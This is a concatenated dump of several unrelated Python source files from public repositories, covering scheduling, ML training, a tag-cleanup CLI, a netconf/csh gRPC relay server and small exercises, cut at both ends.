'只扫描一次')\n\n# 车厢号\ntrain_manage_line_name = terminal.get_tmp_value('train_manage_line_name', False)\n\n# 上/下层\nlayer_option_cn = terminal.get_tmp_value('layer_option_cn', False)\n\n# vin扫描数量\nvin_scan_count = terminal.get_tmp_value('vin_scan_count', 0)\n\nres = [\n ('|','操作列表'),\n \n]\n\nlst = []\n\nif scanner_step == 'once':\n lst.append(('scanner_step', '扫描配置' + '({0})'.format(scanner_step_cn)))\nelse:\n lst.append(('scanner_step', '扫描配置' + '({0})'.format(scanner_step_cn)))\n\nif train_manage_line_name:\n lst.append(('train', '车厢' + '({0})'.format(train_manage_line_name)))\nelse:\n lst.append(('train', '车厢'))\n \n \nif layer_option_cn:\n lst.append(('layer', '上/下层' + '({0})'.format(layer_option_cn)))\nelse:\n lst.append(('layer', '上/下层'))\n \n \nif vin_scan_count>0:\n lst.append(('vin_scan', 'VIN码扫描' + '({0})'.format(vin_scan_count))) \nelse:\n lst.append(('vin_scan', 'VIN码扫描'))\n \n \nlst.append(('submit', '提交'))\n\n\n# lst = [\n# ('train', '车厢'),\n# ('layer', '上/下层'),\n# ('vin_scan', 'VIN码扫描'),\n# ('submit', '提交'),\n# ]\n\nfor item in lst:\n res.append((item[0], item[1]))\n ","repo_name":"g6982/aop","sub_path":"stock_scanner/data/scenarios/Aop/scanner_scenario_step_仓库_铁路装车_操作列表.py","file_name":"scanner_scenario_step_仓库_铁路装车_操作列表.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15529929962","text":"import time \nfrom copy import deepcopy\n\nimport torch \nimport torch.nn as nn\nimport torch.nn.functional as F \nfrom torch.nn.utils import parameters_to_vector\nimport numpy as np\n\nfrom LANAM.trainer import marglik_training\nfrom LANAM.models import LaNAM\nfrom LANAM.utils.plotting import *\nfrom LANAM.config.default import defaults\n\nfrom laplace.curvature import BackPackGGN\n\nimport wandb\n\ndef wandb_training(config,\n dataset,\n ): \n \"\"\"Hyper-parameter tuning with W&B.\"\"\"\n run = wandb.init()\n \n config.update(**wandb.config)\n config.hidden_sizes = [config.hidden_sizes]\n print(f'Configuration: \\n {config}')\n \n # data\n train_loader, loader_fnn, _, _ = dataset.train_dataloaders()\n test_loader, _ = dataset.test_dataloaders()\n test_samples = dataset.get_test_samples()\n \n likelihood = config.likelihood\n optimizer_kwargs = {'lr': config.lr}\n lr_hyp = config.lr_hyp\n n_epochs_burnin = config.n_epochs_burnin\n n_hypersteps = config.n_hypersteps\n marglik_frequency = config.marglik_frequency\n \n in_features = dataset.in_features\n model = LaNAM(config=config, name=f'LA-NAM-{config.activation_cls}', in_features=in_features)\n \n print(f'Model summary: \\n {model}')\n \n model, margliks, losses, perfs = marglik_training(model, \n train_loader, \n loader_fnn, \n test_loader,\n likelihood=likelihood,\n use_wandb=True, \n test_samples=test_samples,\n optimizer_kwargs=optimizer_kwargs, \n lr_hyp=lr_hyp, \n n_epochs_burnin=n_epochs_burnin, \n n_hypersteps=n_hypersteps, \n marglik_frequency=marglik_frequency, \n plot_recovery=True)\n ","repo_name":"D2phus/Reproduced-LA-NAM","sub_path":"LANAM/trainer/.ipynb_checkpoints/wandb_train-checkpoint.py","file_name":"wandb_train-checkpoint.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32166390883","text":"import math\n\nclass Witi_task:\n def __init__(self, i, p, w, d):\n self.i = i\n self.p = p\n self.w = w\n self.d = d\n\n def __repr__(self):\n return '{}. {} {} {}'.format(self.i, self.p, self.w, self.d)\n\n\n\ndef calc_cmax(pi):\n cmax = 0\n for t in pi:\n cmax += t.p\n\n return cmax\n\ndef calc_T(C, task):\n if C <= task.d:\n return 0\n else:\n return C - task.d\n\ndef calc_delay_sum(pi):\n _time = 0\n _sum = 0\n for t in pi:\n _time += t.p\n T = calc_T(_time, t)\n _sum += t.w * T\n return _sum\n\ndef load_witi_data(path, instance):\n _counter = 0\n _t_counter = 1\n tasks = []\n with open(path, 'r') as f:\n for n, line in enumerate(f):\n line = line.replace('\\n', '')\n _pwds = [int(i) for i in line.split(' ') if i != '']\n if _pwds:\n if len(_pwds) == 3 and _counter == instance + 1:\n tasks.append(Witi_task(_t_counter, _pwds[0], _pwds[1], _pwds[2]))\n _t_counter += 1\n elif len(_pwds) < 3:\n _counter += 1\n\n return tasks\n\ndef solve_witi_with_solver(tasks):\n from ortools.sat.python import cp_model\n \n model = cp_model.CpModel()\n\n #variables: start_time, end_time, delay_sum\n \n #max value of variables\n vmax_val = sum([t.p for t in tasks]) + 1\n #min value of variables\n vmin_val = 0\n\n #initialization of model variables\n model_start_vars = []\n model_end_vars = []\n model_penalty_vars = []\n model_interval_vars = []\n\n #single variable for storing sum of delays\n delay_sum_objective = model.NewIntVar(vmin_val, 2147483647, 'delays_sum')\n\n #each variable for each task\n for n, t in enumerate(tasks):\n suffix = 't:{}'.format(n+1)\n start_var = model.NewIntVar(vmin_val, vmax_val, 'start_'+suffix)\n end_var = model.NewIntVar(vmin_val, vmax_val, 'end_'+suffix)\n penalty_var = model.NewIntVar(vmin_val, 2147483647, 'penalty_'+suffix)\n interval_var = model.NewIntervalVar(start_var, t.p, end_var, 'interval_'+suffix)\n\n model_start_vars.append(start_var)\n model_end_vars.append(end_var)\n model_penalty_vars.append(penalty_var)\n model_interval_vars.append(interval_var)\n\n #CONSTRAINTS\n # 1. no overlap\n model.AddNoOverlap(model_interval_vars)\n # 2. penalty constraint\n for n, t in enumerate(tasks):\n model.Add(t.w * (model_end_vars[n] - t.d) <= model_penalty_vars[n])\n # 3. delay_sum_constraint\n model.Add(sum(model_penalty_vars) <= delay_sum_objective)\n\n #initialize solver and run it\n model.Minimize(delay_sum_objective)\n solver = cp_model.CpSolver()\n solver.parameters.max_time_in_seconds = 300.0\n\n status = solver.Solve(model)\n if (status is not cp_model.OPTIMAL):\n status_readable = 'not optimal'\n else:\n status_readable = 'optimum found!'\n\n pi = []\n for n, t in enumerate(tasks):\n pi.append((t, solver.Value(model_start_vars[n])))\n pi.sort(key=lambda x: x[1])\n pi = [x[0] for x in pi]\n\n return solver.ObjectiveValue(), status_readable, pi\n \n\ndef main():\n data = load_witi_data('c_witi.txt', 0)\n del_sum, status, pi = solve_witi_with_solver(data)\n print(del_sum,'-', status)\n for p in pi:\n print(p)\n\nif __name__ == '__main__':\n main()\n \n","repo_name":"szymon-drzewiecki/SPD","sub_path":"Zadanie7/witi/witi.py","file_name":"witi.py","file_ext":"py","file_size_in_byte":3379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25577577444","text":"import argparse\nimport os\nimport shutil\nimport sys\nimport appdirs\n\nimport polytaxis\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Perform common cleanup on polytaxis tags.',\n )\n subparsers = parser.add_subparsers(help='Cleanup actions', dest='action')\n subparsers_list = []\n def add_sub(*pargs, **kwargs):\n out = subparsers.add_parser(*pargs, **kwargs)\n subparsers_list.append(out)\n return out\n parser_lowercase = add_sub(\n 'lowercase',\n description='Convert tag keys to lowercase.',\n )\n parser_uppercase = add_sub(\n 'uppercase',\n description='Convert tag keys to uppercase.',\n )\n parser_replace_key = add_sub(\n 'replacekey',\n description='Replace keys.',\n )\n parser_replace_key.add_argument(\n 'match',\n help='Key to match',\n )\n parser_replace_key.add_argument(\n 'replacement',\n help='Replacement',\n )\n parser_extract = add_sub(\n 'extract',\n description='Export polytaxis header-less versions of files.',\n )\n parser_extract.add_argument(\n 'directory',\n help='Expored files will be placed in this directory.',\n )\n for sub in subparsers_list:\n sub.add_argument(\n 'files',\n help='Files to convert.',\n nargs='+',\n )\n sub.add_argument(\n '-n',\n '--dryrun',\n help='Print result tags but don\\'t save them.',\n action='store_true',\n )\n sub.add_argument(\n '-v',\n '--verbose',\n help='Display verbose cleanup information.',\n action='store_true',\n )\n args = parser.parse_args()\n\n if args.action == 'extract':\n unwrap_root = os.path.join(\n appdirs.user_data_dir('polytaxis-unwrap', 'zarbosoft'),\n 'mount',\n )\n if not os.path.isdir(unwrap_root):\n raise RuntimeError('polytaxis-unwrap mount directory doesn\\'t exist. To extract files, make sure polytaxis-unwrap is running.')\n\n modify_headers = [\n 'lowercase',\n 'uppercase',\n 'replacekey',\n ]\n\n for filename in args.files:\n if os.path.isdir(filename):\n sys.stderr.write(\n 'File [{}] must be a regular file, but it is a directory. Skipping.\\n'.format(\n filename,\n )\n )\n\n tags = polytaxis.get_tags(filename)\n if not tags:\n sys.stderr.write(\n 'File [{}] doesn\\'t have a polytaxis header. Skipping.\\n'.format(\n filename\n )\n )\n return\n\n if args.action in modify_headers:\n if args.action == 'lowercase':\n temp = {\n key.lower(): values for key, values in tags.items()\n }\n tags = temp\n elif args.action == 'uppercase':\n temp = {\n key.upper(): values for key, values in tags.items()\n }\n tags = temp\n elif args.action == 'replacekey':\n temp = {\n args.replacement if key == args.match else key: values\n for key, values in tags.items()\n }\n tags = temp\n\n if args.dryrun or args.verbose:\n print('Final tags for [{}]:'.format(filename))\n print(polytaxis.encode_tags(tags).decode('utf-8'))\n\n if not args.dryrun:\n polytaxis.set_tags(filename, tags)\n\n elif args.action == 'extract':\n new_name = filename\n if new_name.endswith('.p'):\n new_name = new_name[:-2]\n if not args.directory.endswith(os.path.sep):\n args.directory += os.path.sep\n from_path = os.path.join(\n unwrap_root,\n os.path.abspath(filename)[1:],\n )\n to_path = os.path.join(args.directory, new_name)\n if args.dryrun or args.verbose:\n print('Extracting [{}] to [{}]...'.format(from_path, to_path))\n if not args.dryrun:\n shutil.copy(from_path, to_path)\n\nif __name__ == '__main__':\n main()\n","repo_name":"rendaw/polytaxis-utils","sub_path":"polytaxis_cleanup/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25569851834","text":"matrix_string = \"7iiTsxh%?i #sM $a #t%^r!\"\nalphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz! '\nmatrix = []\nnew_matrix = []\ndescription = \"\"\nmatrix_string = matrix_string.replace(\"$\", \" \")\ndef bulding_matrix(matrix_string):\n num_rows = 8\n num_columns = 3\n count = 0\n for i in range(num_rows):\n row = []\n for j in range(num_columns):\n element = matrix_string[count]\n row.append(element)\n count +=1\n matrix.append(row)\n for j in range(num_columns):\n for i in range(num_rows):\n element = matrix[i][j]\n if matrix[i][j] in alphabet:\n new_matrix.append(element)\n description =\"\".join(new_matrix)\n description = description.replace(\" \", \"\")\n return description\nprint(bulding_matrix(matrix_string))","repo_name":"technoben98/DI-Bootcamp","sub_path":"Week2/Day4/DailyChallenge/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19608954503","text":"\"\"\"This is test gRPC server implemented to test the gRPC client\"\"\"\n\nfrom __future__ import print_function\nfrom concurrent import futures\nimport time\nimport math\nimport logging\nimport sys\nimport os,socket,json\nimport argparse\nimport signal\n\nimport grpc\nimport subprocess\nimport select\nimport threading\n\nimport jnx_netconf_service_pb2 as nc_grpc_pb2\nimport jnx_netconf_service_pb2_grpc as nc_grpc_pb2_grpc\n\n# global space\nclient_list = {}\nclient_list_detail = {}\nconnections = {}\nserver = None\n\nkeys_location = os.path.dirname(os.path.realpath(sys.argv[0]))\n\n#Create and configure logger\nlogFormatter = logging.Formatter(\"%(asctime)s [%(levelname)-5.5s] %(message)s\")\nlogger = logging.getLogger('nc_grpc_server')\n\nfileHandler = logging.FileHandler(keys_location + '/nc_grpc_server.log')\nfileHandler.setFormatter(logFormatter)\nlogger.addHandler(fileHandler)\n\nconsoleHandler = logging.StreamHandler(sys.stdout)\nconsoleHandler.setFormatter(logFormatter)\nlogger.addHandler(consoleHandler)\nlogger.setLevel(logging.DEBUG)\n\n\ndef daemonize():\n \"\"\"Deamonize class. UNIX double fork mechanism.\"\"\"\n global keys_location\n logger.info(keys_location)\n\n try:\n pid = os.fork()\n if pid > 0:\n # exit first parent\n sys.exit(0)\n except OSError as err:\n sys.stderr.write('fork #1 failed: {0}\\n'.format(err))\n sys.exit(1)\n\n\n logger.info(\"First parent process is exited\")\n\n # decouple from parent environment\n os.chdir('/')\n os.setsid()\n os.umask(0)\n\n # do second fork\n try:\n pid = os.fork()\n if pid > 0:\n # exit from second parent\n sys.exit(0)\n except OSError as err:\n sys.stderr.write('fork #2 failed: {0}\\n'.format(err))\n sys.exit(1)\n\n logger.info(\"Second parent process is exited\")\n\n # redirect standard file descriptors\n sys.stdout.flush()\n sys.stderr.flush()\n si = open(os.devnull, 'r')\n so = open(os.devnull, 'a+')\n se = open(os.devnull, 'a+')\n\n os.dup2(si.fileno(), sys.stdin.fileno())\n os.dup2(so.fileno(), sys.stdout.fileno())\n os.dup2(se.fileno(), sys.stderr.fileno())\n\n logger.info(\"File descriptors redirection completed\")\n\n\ndef close_socket(listen_s):\n try:\n listen_s.shutdown()\n except:\n pass\n try:\n listen_s.close()\n except:\n pass\n\n\nclass UserInputTimeoutError(Exception):\n pass\n\ndef print_data(request_iterator, c):\n try:\n logger.info(\"print_data: Inside print data thread\")\n prev_message = []\n logger.info(\"print_data: Entered the simultaneous thread print data\")\n for request_point in request_iterator:\n logger.info(\"print_data: Inside request iterator\")\n logger.info(str(request_point.message).rstrip())\n try:\n c.send((str(request_point.message).rstrip()).encode())\n except:\n pass\n prev_message.append(str(request_point.message).rstrip())\n if (str(request_point.message).rstrip()).startswith('client is stopping,'):\n logger.info(\"*****print statement breaking******\")\n return\n except:\n c.send((\"client is stopping,\").encode())\n logger.info(\"*********************client connection lost*********************\")\n return\n\n\nclass Ncgrpc(nc_grpc_pb2_grpc.NcgrpcServicer):\n \"\"\"Provides methods that implement functionality of NetconfRpc server.\"\"\"\n\n def __init__(self):\n logger.info(\"***************************Constructor called, Ncgrpc class constructed*************************************\")\n\n def __del__(self):\n logger.info(\"Destructor called, Ncgrpc deleted.\")\n\n def NcgrpcServerStatusGet(self, request, context):\n logger.info(\"is server running rpc called\")\n return nc_grpc_pb2.NcgrpcServerStatusGetResponse(\n status = 1\n )\n\n def NcgrpcCommandGet(self, request_iterator, context):\n global connections\n\n meta_dict = {}\n\n for key, value in context.invocation_metadata():\n logger.info('Received initial metadata: key={} value={}'.format(key, value))\n meta_dict.update({key:value})\n\n conn = connections[context.peer()]\n session_type_self = meta_dict[\"conn_type\"]\n\n\n\n t1 = threading.Thread(target=print_data, args=(request_iterator,conn,))\n t1.start()\n\n while True:\n data_r = conn.recv(1024)\n logger.info(data_r)\n logger.info(\"Data received from request session \")\n if session_type_self == \"netconf\":\n if not (t1.isAlive()):\n logger.info(\"NcgrpcCommandGet: Other thread is closed\")\n break\n if data_r.decode().strip() == \"\":\n logger.info(\"NcgrpcCommandGet: Request session script closed\")\n yield nc_grpc_pb2.NcgrpcCommandGetResponse(\n netconf_command = \"<>\",\n kill_signal = 2)\n t1.join()\n break\n logger.info(data_r.decode())\n\n cmd_new = str(data_r.decode().strip())\n yield nc_grpc_pb2.NcgrpcCommandGetResponse(\n netconf_command = cmd_new,\n kill_signal = 0)\n # if cmd_new == \"<>\":\n # t1.join()\n # break\n\n elif session_type_self == \"csh\":\n if not (t1.isAlive()):\n logger.info(\"NcgrpcCommandGet: Other thread is closed\")\n break\n\n if data_r.decode().strip() == \"\":\n logger.info(\"NcgrpcCommandGet: Request session script closed\")\n yield nc_grpc_pb2.NcgrpcCommandGetResponse(\n csh_command = \"exit\",\n kill_signal = 2)\n t1.join()\n break\n\n logger.info(data_r.decode())\n\n cmd_new = str(data_r.decode().strip())\n yield nc_grpc_pb2.NcgrpcCommandGetResponse(\n csh_command = cmd_new,\n kill_signal = 0)\n # The below code is commented unlike in netconf case, as one \n # should not close the session based on exit statement during csh mode\n # if cmd_new == \"exit\":\n # t1.join()\n # break\n\n connections.pop(context.peer())\n logger.info(\"****************** Good Bye*****RPC Ended ********************\")\n\n def NcgrpcInitialize(self, request, context):\n global client_list\n global connections\n global client_list_detail\n global keys_location\n message_auth = request.device_id\n grpc_app_id = request.instance_id\n secret_key = request.secret_key\n logger.info(type(message_auth))\n logger.info(message_auth)\n client_name = message_auth\n\n for key, value in context.invocation_metadata():\n logger.info(\"NcgrpcInitialize: Received initial metadata(Initial handshake): key={} value={}\".format(key, value))\n\n if client_name not in client_list_detail.keys() or (client_name in client_list_detail.keys() and grpc_app_id != client_list_detail[client_name][3]):\n logger.info(\"NcgrpcInitialize: Client is restarted or a new client is trying to connect\")\n listen_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n listen_s.bind(('localhost', 0))\n listen_s.listen()\n port = listen_s.getsockname()[1]\n port_str = str(port)\n data = {client_name: [port_str, listen_s, 1, grpc_app_id]}\n if client_name in client_list_detail.keys():\n close_socket(client_list_detail[client_name][1])\n client_list_detail.update(data)\n data = {client_name: port_str}\n client_list.update(data)\n with open(keys_location + '/server_data.json', 'w+') as outfile:\n json.dump(client_list, outfile)\n else:\n listen_s = client_list_detail[client_name][1]\n port = int(client_list_detail[client_name][0])\n port_str = str(port)\n client_list_detail[client_name][2] = client_list_detail[client_name][2] +1\n logger.info(\"NcgrpcInitialize: else statement executed properly\")\n\n\n logger.info(\"Listenning\")\n while True:\n c, addr = listen_s.accept()\n logger.info(\"Connection received\")\n first_message = c.recv(1024)\n\n logger.info(\"Initial hand shake completed and the client is trusted\")\n rep_mes = str(first_message.decode().strip())\n logger.info(rep_mes)\n index = rep_mes.find(':')\n secret_key_from_script = rep_mes[index+1:]\n rep_mes = rep_mes[0:index]\n if secret_key == secret_key_from_script:\n c.send((\"correct secret key\").encode())\n break\n else:\n c.send((\"wrong secret key\").encode())\n\n context.set_trailing_metadata((\n ('port', port_str),\n ('conn_type', rep_mes),\n ))\n logger.info(connections)\n connections.update({context.peer():c})\n logger.info(connections)\n logger.info(\"Going to return value from initial handshake\")\n try:\n if rep_mes == \"netconf\":\n return nc_grpc_pb2.NcgrpcInitializeResponse(\n session_type = 0\n )\n elif rep_mes == \"csh\":\n return nc_grpc_pb2.NcgrpcInitializeResponse(\n session_type = 1\n )\n except:\n try:\n listen_s.shutdown()\n except:\n pass\n try:\n listen_s.close()\n except:\n pass\n\n\ndef serve():\n logger.info(\"Serve function is called\")\n global port\n global server\n global keys_location\n server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))\n nc_grpc_pb2_grpc.add_NcgrpcServicer_to_server(\n Ncgrpc(), server)\n\n logger.info(\"Server object is created\")\n\n with open(keys_location + '/server.key', 'rb') as f:\n private_key = f.read()\n with open(keys_location + '/server.crt', 'rb') as f:\n certificate_chain = f.read()\n\n logger.info(\"Read the certificates\")\n server_credentials = grpc.ssl_server_credentials(((private_key, certificate_chain,),))\n server.add_secure_port('[::]:' + port, server_credentials)\n\n server.start()\n logger.info(\"Server started\")\n server.wait_for_termination()\n\n\ndef signal_handler(sig, frame):\n global server\n global keys_location\n\n logger.info(\"Entered into signal_handler\")\n if server != None:\n server.stop(1)\n logger.info(\"Stopping the grpc server gracefully\")\n pid = os.getpid()\n try:\n os.remove(keys_location + \"/server_data.json\")\n except:\n pass\n os.kill(pid, signal.SIGKILL)\n\n\nif __name__ == '__main__':\n signal.signal(signal.SIGINT, signal_handler)\n signal.signal(signal.SIGQUIT, signal_handler)\n signal.signal(signal.SIGTERM, signal_handler)\n\n parser = argparse.ArgumentParser()\n parser.add_argument('-p', '--port', help='client port',\n required=True)\n args = parser.parse_args()\n port = args.port\n daemonize()\n serve()\n","repo_name":"krish1996sk/imp_codes","sub_path":"nc_grpc_server.py","file_name":"nc_grpc_server.py","file_ext":"py","file_size_in_byte":11451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70459879400","text":"'''\noutputs (if uncommented):\n\ntraining RandomForestClassifier\nrandom forest train score: 0.46760831532365954\nrandom forest test score: 0.3773831287542439\ntraining CatBoostClassifier\ncatboost score on train: 0.3360090562930946\ncatboost score on test: 0.3384695743013842\ntraining KNeighborsClassifier\nK neighbours score on train: 0.4161006483482556\nK neighbours on test: 0.36124314442413163\nretraining RandomForestClassifier\nrandom forest train score: 0.45294329525573734\nrandom forest test score: 0.3945677722642988\n'''\n\n# ignore future warnings\nimport warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\n# joblib to save the model\nimport joblib\n\n# ML imports\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split, RandomizedSearchCV\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom catboost import CatBoostClassifier\n\n# load rock paper scissors game history data\ndf = pd.read_csv('../data/rock_paper.csv')\n\n# store last 5 turns by player 1 in separate columns\nfor i in range(1,6):\n df[f'p1_-{i}'] = df.groupby('game_id')['player_one_throw'].shift(i)\n\n# check what player two threw last, which gets a column\ndf['p2_last'] = df.groupby('game_id')['player_two_throw'].shift(i)\n\n# make df['y'] the *next* throw - for test\ndf['y'] = df.groupby('game_id')['player_one_throw'].shift(-1)\n\n# drop player_two_throw:\n# a move thrown at same time as Player 1 does not have any effect\n# on what Player 1 played that turn\ndf.drop('player_two_throw', axis=1, inplace=True)\n\n# drop game_id and game_round_id\n# because we used them as much as we needed to\ndf.drop('game_id', inplace=True, axis=1)\ndf.drop('game_round_id', inplace=True, axis=1)\n\n# drop any rows with missing values\ndf.dropna(inplace=True)\n\n# store target values separately\ny = df['y'].copy()\ndf.drop('y', inplace=True, axis=1)\n\n# renumber index rows to prevent our model from learning from those\ndf.index = (range(0, len(df)))\n\n# train test split\nX_train, X_test, y_train, y_test = train_test_split(df, y, test_size=0.33, random_state=42)\n\n# RANDOM FORESTS\n# rf = RandomForestClassifier()\n# print(\"training RandomForestClassifier\")\n# rf.fit(X_train, y_train)\n# print('random forest train score: ', rf.score(X_train, y_train))\n# print('random forest test score: ', rf.score(X_test, y_test))\n\n# CATBOOST\n# cb = CatBoostClassifier()\n# print(\"training CatBoostClassifier\")\n# cb.fit(X_train, y_train, plot=False, logging_level='Silent')\n# print('catboost score on train: ', cb.score(X_train, y_train))\n# print('catboost score on test: ', cb.score(X_test, y_test))\n\n# KNeighbors\n# kn = KNeighborsClassifier()\n# print(\"training KNeighborsClassifier\")\n# kn.fit(X_train, y_train)\n# print('K neighbours score on train: ', kn.score(X_train, y_train))\n# print('K neighbours on test: ', kn.score(X_test, y_test))\n\n# defining variables for CrossValidation\n# n_estimators = [int(x) for x in np.linspace(start = 200, stop = 2000, num = 10)]\n# max_depth = [int(x) for x in np.linspace(10, 110, num = 11)]\n# bootstrap = [True, False]\n# random_grid = {'n_estimators': n_estimators,\n# 'max_depth': max_depth,\n# 'bootstrap': bootstrap}\n#\n# rf_random = RandomizedSearchCV(estimator = rf,\n# param_distributions = random_grid,\n# n_iter = 50,\n# cv = 3,\n# verbose=2,\n# random_state=42)\n\n# commented out to save time on next run\n# rf_random.fit(X_train, y_train)\n\n# but these were the results:\n# {'n_estimators': 800, 'max_depth': 10, 'bootstrap': False}\n# rf_random.best_params_\n\n# RANDOM FORESTS REDUX\n# increases score to 39.5% from ~37%\nrf = RandomForestClassifier(n_estimators=800,\n max_depth=10,\n bootstrap=False)\nprint(\"retraining RandomForestClassifier\")\nrf.fit(X_train, y_train)\nprint('random forest train score: ', rf.score(X_train, y_train))\nprint('random forest test score: ', rf.score(X_test, y_test))\n\nprint(\"saving model to rock_paper_forests.joblib\")\njoblib.dump(rf, 'rock_paper_forests.joblib')\n\n# print(\"saving clean dataframe\")\n# df.to_csv('../data/rock_paper_clean.csv', index=False)\n","repo_name":"kfrncs/bot_paper_scissors","sub_path":"bots/bot_paper_scissors.py","file_name":"bot_paper_scissors.py","file_ext":"py","file_size_in_byte":4300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28626076432","text":"numbers = [11, 13, 27, 15, 12, 49, 35] # List\n\ndef squre(x):\n return x * x\nprint(squre(5))\n\n# squre2 funciton do the same thing what squre() does above\nsqure2 = lambda x: x * x\nprint(squre2(9))\n\n# Usage of 'lambda' using 'map' | 'map' iterate through the numbers 'list' and return the values by doubling them\ndoubled = map(lambda x: x * 2, numbers)\nprint(list(doubled)) # print the numbers list by doubling each of the elements -> [22, 26, 54, 30, 24, 98, 70]\n\n# Usage of 'lambda' using 'filter' | 'filter' iterate through the numbers 'list' and return the values that are greather than 20\ngreater_than_20 = filter(lambda x: x > 20, numbers)\nprint(list(greater_than_20)) # print -> [27, 49, 35]\n\n# A real world example of 'filter' and 'lambda'\nplayers = [\n {'Name' : 'Shakib', 'Age' : 35},\n {'Name' : 'Tamim', 'Age' : 37},\n {'Name' : 'Mushfiq', 'Age' : 34},\n {'Name' : 'Mashrafi', 'Age' : 39},\n {'Name' : 'Miraz', 'Age' : 25},\n]\n\nsenior_players = filter(lambda player: player['Age'] > 35, players)\nprint(list(senior_players)) # print -> [{'Name': 'Tamim', 'Age': 37}, {'Name': 'Mashrafi', 'Age': 39}]\n\njunior_players = filter(lambda player: player['Age'] < 35, players)\nprint(list(junior_players)) # print -> [{'Name': 'Mushfiq', 'Age': 34}, {'Name': 'Miraz', 'Age': 25}]","repo_name":"sisrafilss/cse-fundamentals-lectures","sub_path":"OOP & Python Programming and Problem Solving Part - IV/Module 05 List, Set, Dictionary and Tuples/lamda.py","file_name":"lamda.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16193063291","text":"\n# metaDatasetGenerator imports\nfrom core.config import cfg, cfgData, createFilenameID, createPathRepeat, createPathSetID\nfrom datasets.imdb import imdb\n\n# 'other' imports\nimport pickle\nimport numpy as np\nimport numpy.random as npr\nimport os.path as osp\n\nimport matplotlib\nmatplotlib.use(\"Agg\")\n\nfrom core.config import cfg, cfg_from_file, cfg_from_list, get_output_dir, loadDatasetIndexDict,iconicImagesFileFormat\nfrom datasets.factory import get_repo_imdb\nfrom datasets.ds_utils import load_mixture_set,print_each_size,computeTotalAnnosFromAnnoCount,cropImageToAnnoRegion,roidbSampleHOG,roidbSampleImage,roidbSampleImageHOG\nimport os.path as osp\nimport datasets.imdb\nimport argparse\nimport pprint\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys,os,cv2,pickle,uuid\n# pytorch imports\nfrom datasets.pytorch_roidb_loader import RoidbDataset\nfrom numpy import transpose as npt\nfrom ntd.hog_svm import plot_confusion_matrix, extract_pyroidb_features,appendHOGtoRoidb,split_data, scale_data,train_SVM,findMaxRegions, make_confusion_matrix,appendHOGtoRoidbDict,split_tr_te_data\nfrom utils.misc import *\n\ndef train_model(model, criterion, optimizer, scheduler, num_epochs=25):\n since = time.time()\n\n best_model_wts = copy.deepcopy(model.state_dict())\n best_acc = 0.0\n\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1))\n print('-' * 10)\n\n # Each epoch has a training and validation phase\n for phase in ['train', 'val']:\n if phase == 'train':\n scheduler.step()\n model.train(True) # Set model to training mode\n else:\n model.train(False) # Set model to evaluate mode\n\n running_loss = 0.0\n running_corrects = 0\n\n # Iterate over data.\n for data in dataloaders[phase]:\n # get the inputs\n inputs, labels = data\n\n # wrap them in Variable\n if use_gpu:\n inputs = Variable(inputs.cuda())\n labels = Variable(labels.cuda())\n else:\n inputs, labels = Variable(inputs), Variable(labels)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward\n outputs = model(inputs)\n _, preds = torch.max(outputs.data, 1)\n loss = criterion(outputs, labels)\n\n # backward + optimize only if in training phase\n if phase == 'train':\n loss.backward()\n optimizer.step()\n\n # statistics\n running_loss += loss.data[0] * inputs.size(0)\n running_corrects += torch.sum(preds == labels.data)\n\n epoch_loss = running_loss / dataset_sizes[phase]\n epoch_acc = running_corrects / dataset_sizes[phase]\n\n print('{} Loss: {:.4f} Acc: {:.4f}'.format(\n phase, epoch_loss, epoch_acc))\n\n # deep copy the model\n if phase == 'val' and epoch_acc > best_acc:\n best_acc = epoch_acc\n best_model_wts = copy.deepcopy(model.state_dict())\n\n\n\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(\n time_elapsed // 60, time_elapsed % 60))\n print('Best val Acc: {:4f}'.format(best_acc))\n\n # load best model weights\n model.load_state_dict(best_model_wts)\n return model\n\n\n\ndef roidbToFeatures(roidb,pyloader=roidbSampleHOG,calcHog=False,roidbSizes=None):\n pyroidb = RoidbDataset(roidb,[0,1,2,3,4,5,6,7],\n loader=pyloader,\n transform=None)\n if roidbSizes is not None:\n pyroidb.roidbSizes = np.arange(len(roidb)) + 1\n l_feat,l_idx,y = extract_pyroidb_features(pyroidb, 'hog', cfg.clsToSet, calc_feat = calcHog, \\\n spatial_size=(32, 32),hist_bins=32, \\\n orient=9, pix_per_cell=8, cell_per_block=2, \\\n hog_channel=0)\n return l_feat,l_idx,y\n\ndef mangleTestingData(l_feat_te,l_idx_te,y_te,X_test,y_test,X_idx):\n \n \"\"\"\n Goal: to replace the indicies with setIDs associated with the datasets in the\n \"test\" section of the mixed dataset from the \"train\" to the \"test\" features\n\n testIndex: the index from the \n yIndicies: a python dictionary; {\"setID\": list of indicies associated with the set; the indicies are the location of a sample from the set in the original testing set X_test}\n -> an element in the list gives index of the next \"setID\" in the current testing data\n ->\n l_feat_te: a list of hog features. \n -> axis=0 is datasets\n -> axis=1 is 